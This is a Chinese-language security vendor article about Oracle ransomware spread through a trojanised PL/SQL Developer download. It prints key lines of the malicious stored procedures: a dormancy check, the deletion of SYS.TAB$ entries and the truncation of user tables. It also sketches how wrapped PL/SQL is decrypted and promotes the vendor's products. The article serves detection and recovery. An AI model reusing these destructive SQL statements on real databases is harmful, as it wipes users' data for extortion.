比特幣勒索攻擊卷土重來丨安華金和提供免費檢測及修復工具
原創【51CTO.com原創稿件】“你的數據庫已被鎖死,發送5個比特幣到這個地址!”
近期,比特幣勒索攻擊卷土重來,有用戶在登陸Oracle數據庫時出現如下勒索警告信息,被要求上交5個比特幣來換取解鎖數據庫的服務。
安華金和數據庫攻防實驗室經過排查發現,原來是有人在CSDN等網站上,故意散播攜帶勒索病毒的PL SQL Developer軟件程序,引誘下載從而發起勒索攻擊。勒索者此次攻擊的目標人群是數據庫管理人員(DBA),而PL SQL Developer軟件幾乎是每個DBA必備的工具,同時,CSDN又是技術人員最常光顧的網站之一,這大大提高了本次勒索攻擊的危害范圍。現已確認存在問題的PL SQL Developer版本是11.0.6中文綠色注冊版(免Oracle11g客戶端)。請各位不要再去下載,并檢查自己是否使用過這個名字的PL SQL Developer。
全面解析攻擊原理
我們發現,存在問題的PL SQL Developer解壓后主目錄的AfterConnect.SQL文件存在異常。官方的PL SQL Developer下AfterConnect.SQL是空文件,而異常的AfterConnect.SQL中存在惡意存儲過程和觸發器總共35KB左右。
打開文件后可以看到包含4個存儲過程和3個觸發器。存儲過程分別是:
DBMS_SUPPORT_INTERNAL
DBMS_SYSTEM_INTERNAL
DBMS_STANDARD_FUN9
DBMS_CORE_INTERNAL
觸發器則是:
數據庫啟動后觸發器DBMS_SUPPORT_INTERNAL
數據庫登陸觸發器DBMS_SYSTEM_INTERNAL和DBMS_CORE_INTERNAL
直接打開AfterConnect.SQL顯示一串亂碼和3個觸發器,但嚴格講這并不是亂碼,而是按照Oracle wrap加密后的結果。Oracle數據庫內置了wrap對應的解密算法。勒索者雖然是以密文形式傳入數據庫保存為存儲過程,但在執行過程中oracle數據庫會自動把它轉回明文執行。
上面AfterConnect.SQL文件中的3個觸發器和4個存儲過程都會在PL SQL Developer連接數據庫的過程中,被當前用戶創建在數據庫服務器中。
這三個觸發器可以在數據庫啟動后執行DBMS_SUPPORT_INTERNAL,或者在數據庫登陸后執行DBMS_SYSTEM_INTERNAL或DBMS_CORE_INTERNAL。觸發器本身沒有問題,問題出在這三個主要的存儲過程上。在我們發現的樣本中, DBMS_SYSTEM_INTERNAL中只有彈窗語句,并未發現明顯修改數據庫的語句,而DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個存儲過程中均有明顯的修改數據庫行為。所以DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL這兩個存儲過程是此次分析的重點。
DBMS_SUPPORT_INTERNAL的主要核心部分是下圖中標號的兩組SQL。
第1條SQL語句: SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)
語句含義:根據創建數據庫時間和當前時間差值做決定:是立刻入侵數據庫實施勒索,還是先保持潛伏直到條件成熟再爆發進行勒索。判斷條件為數據庫實例創建時間距今是否滿足1200天,一旦滿足并重啟數據庫實例則執行第2條SQL語句。
第2條SQL語句:EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
語句含義:勒索者首先對tab$中的文件進行備份,然后再刪除tab$表中的部分內容清理數據庫的備份文件后,向用戶彈窗實施勒索。
存儲過程DBMS_CORE_INTERNAL和DBMS_SUPPORT_INTERNAL采用了不同的思路,核心部分為下圖中標號的地方。
第1條語句:SELECT NVL(TO_CHAR(SYSDATE-MIN(LAST_ANALYZED)),0) INTO DATE1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN ('SYSTEM','SYSAUX','EXAMPLE');IF (DATE1>=1200) THEN
語句含義:根據表空間中表的最小統計信息收集時間和當前時間比決定,是入侵數據庫實施勒索,還是先保持潛伏直到條件成熟再進行勒索。判斷依據為:當收集時間滿足1200天的條件則執行第2條SQL語句。
第2條語句:STAT:='truncate table '||USER||'.'||I.TABLE_NAME
語句含義:勒索者對表執行truncate操作,清掉用戶數據,最后向用戶彈窗實施勒索。
修復方法:治標或是治本
雖然是一樣的報錯信息,但不一樣的原因,解決起來也不可混為一談。針對DBMS_SUPPORT_INTERNAL的問題,把備份在ORACHK’||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中。就可以修復DBMS_SUPPORT_INTERNAL帶來的危害。而對于DBMS_CORE_INTERNAL則需要動用oracle數據庫的dul工具恢復。
如果我們只把此次數據庫勒索事件看成一個孤立的事件,至此治標的方法已經介紹完畢,但這種后知后覺的修復方法,無法避免數據庫再次被類似攻擊所入侵,數據庫的安全防護,絕不能采用頭疼治頭,腳痛治腳的思路,治標還是治本?大家心中早有答案,采用有效手段防御類似攻擊才是解決問題的根本思路。
防護手段:定期安全檢查+事中安全防護,聯動防護,形成安全閉環
大部分勒索、后門類攻擊都會存在一定的潛伏期,定期安全檢查可以在攻擊行為爆發前,發現潛伏在數據庫中的威脅,防止攻擊爆發后的數據資產損失。
定期安全檢查
安華金和數據庫漏洞掃描的授權檢測中含有專門針對數據庫中異常包、存儲過程、觸發器、各項參數以及后門的檢測語句。這些檢測語句可以幫助用戶及早發現潛在的威脅。目前,安華金和數據庫漏洞掃描系統已經可以準確檢測出數據庫是否被此次勒索軟件入侵,并給出用戶修復建議。
事中安全防護
漏掃系統能發現已經存在的安全威脅,而另一方面,如何抵御未知的安全威脅?安華金和數據庫防火墻具備這樣的能力。基于對SQL語句的精確解析能力,并支持數據庫解密功能,能夠在未知風險到來的第一時間,有效攔截、阻斷攻擊。
安華金和數據庫防火墻可以對oracle數據庫的密文存儲過程進行解密操作。當第三方工具向oracle發送大量數據,其中很多數據會以加密包的形式發送。只有準確破解加密包的內容才能進行精確的語法分析。Oracle的加密過程warp可以通過oracle提供的函數完成,但解密方法oracle并不提供直接函數,需要用戶自行實現。解密并不復雜,只是把上面wrap的過程反過來,首先通過網絡分析將所有斷包組成一個整包,進行base64解碼。解碼后的每個字節根據固定的替換表進行單獨替換,替換后的字符串按照LZ算法進行解壓即可以獲得加密存儲過程的明文。工作流程如下:
這種準確破解加密存儲過程的能力,不但在本次勒索案例中十分關鍵,也是防止第三方工具向數據庫發送惡意存儲過程的關鍵。如果不能解決解密問題,也可以只對加密的惡意存儲過程進行指紋比對,但指紋比對的誤報和漏報率偏高(稍微調整下參數內容或名稱就會使指紋匹配無法準確識別惡意包)。
基于SQL語法解析,能夠判斷存儲過程或數據包中是否存在惡意行為。在unwrap的支撐下數據庫防火墻能夠把所有去向數據庫的加密存儲過程明文化,對明文進行SQL語法分解析,進行惡意行為語句的特征匹配。并根據整個SQL語句包及前后關聯語句環境的SQL行為進行分析。當整個SQL語句包中存在多個必要點命中安全規則時,則判斷該語句包存在惡意行為,進行主動阻斷,并向相關人員進行危險告警,完成對數據庫攻擊的主動防護。
安華金和數據庫漏洞掃描系統側重于整個防護過程中的已知隱患掃描,而數據庫防火墻側重特征隱患攔截。 兩者側重不同卻能夠相互聯動,數據庫防火墻攔截下一個新型隱患,數據庫漏掃則根據這個新型的特征更新掃描檢測項,一旦數據庫防火墻未發現,但漏掃發現安全隱患,則數據庫防火墻根據隱患特征優化防護策略,進一步降低誤報、漏報率,協同防護形成完整安全閉環。
針對本次攻擊,安華金和提供檢測工具與修復方法
如果您的數據庫已經遭受攻擊,請進行如下修復操作:
針對DBMS_SUPPORT_INTERNAL存儲過程的問題,請把備份在ORACHK’||SUBSTR(SYS_GUID,10)中的備份信息插入回到$tab中進行自救,而DBMS_CORE_INTERNAL存儲過程則需要動用oracle的dul工具恢復數據。
針對正在使用PL SQL Developer11.0.6中文綠色注冊版(免Oracle11g客戶端)的用戶,病毒可能已經潛伏,安華金和可提供免費檢測工具及相應修復方法,請及時對您使用的軟件進行病毒排查與清理,可登陸安華金和官方網站獲取檢測工具:
http://www.dbsec.cn/service/BitCoinTroyan.rar
同時,對于已購買安華金和漏洞掃描系統的用戶,產品現已支持對此次勒索攻擊的安全檢測功能,后續將對用戶的設備進行版本更新。
【51CTO原創稿件,合作站點轉載請注明原文作者和出處為51CTO.com】